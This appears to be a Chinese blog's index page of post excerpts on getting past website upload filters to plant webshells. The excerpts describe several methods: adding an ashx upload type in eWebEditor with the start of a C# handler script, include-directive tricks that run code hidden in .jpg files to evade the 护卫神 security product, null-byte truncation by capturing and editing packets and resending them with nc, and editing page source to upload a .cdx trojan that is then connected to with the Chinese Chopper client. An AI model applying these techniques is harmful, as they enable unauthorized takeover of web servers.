随笔分类 -  上传

摘要：该方法是利用在一些比较BT的上传上面如果ewebeditor过滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型，上传一个ashx脚本上去，脚本内容如下：<%@ WebHandler Language="C#" Class="Handler" %>using System;using System.Web;using System.IO;public class Handler : IHttpHandler {public void ProcessRequest (HttpContext contex 阅读全文

摘要：javascript:lbtnUpload.click();不用明小子， 直接复制到浏览器 阅读全文

摘要：hds大牛的文章- -这个护卫神我是特别喜欢！因我做安防，不过渗透的时候会给自己造成麻烦！连续三次被这个软件拦截在门外！不能添加用户到组！纠结的狠！ 护卫神软件拦截传马是拦截你文件后缀名，但是不过滤jpg等一些常用文件的后缀！ 所以可以用包含的方式 asp<!--#include file="../UpLoadFile/2011091711453973499.jpg" -->php<?phpinclude"2.htm";?>用这种方式的话！就不会被杀掉了！ 细心就能发现原来如此！ 现在在想法子突破不能添加到组的问题！如果有兴趣的可 阅读全文

摘要：在得到网站后台的账号密码 很多网站后台上传文件之后自动重名名。 这里给大家提供一种老方法了。上传文件一般是upload.asp,upfile.asp，一般可以定义文件路径，也就是uppath，而一般程序会判定后缀的，比如限定不能等于asp,aspx,asa，那么可以传cdx、cer或php(服务器支持)，或者判定只能是.jpg,.gif，那么就必须使用截断方式来处理了，这儿详细说明一下。具体过程细节为：1.正常提交图片上传（最好是简单的一句话木马） 2.抓包，将刚才的包抓下来，拷贝post数据出来，存成txt 3.编辑包，用十进制工具编辑，增加00。 4.重新提交包，nc(netcat)最原始 阅读全文

摘要：发现后台可以设置上传类型，但是asp，asa,cer等等都不行，上传之后就提示下载尝试着关闭了下了，还是不行，后来找到了一位前辈写的文章过滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型，上传一个ashx脚本上去， 脚本内容如下：<%@ WebHandler Language="C#" class="Handler" %>using System; using System.Web; using System.IO; public class Handler : IHttpHandler {publ 阅读全文

摘要：该方法是利用在一些比较BT的上传上面如果ewebeditor过滤了asa,cer,cdx,php,aspx等脚本类型的上传情况下添加一个ashx的上传类型，上传一个ashx脚本上去，脚本内容如下：<%@ WebHandler Language="C#" class="Handler" %>using System;using System.Web;using System.IO;public class Handler : IHttpHandler {public void ProcessRequest (HttpContext contex 阅读全文

摘要：2011-10-14 22:48 上传下载附件 (74.05 KB)下面是一个上传地址：右键—查看源代码，修改2处代码：修改后：保存为1.html第一个上传选择正常的jpg图片，第2个选择我们的马， 这里asp过滤了，所以我选择cdx成功突破， 右键—查看源代码最后菜刀连接上 ok 阅读全文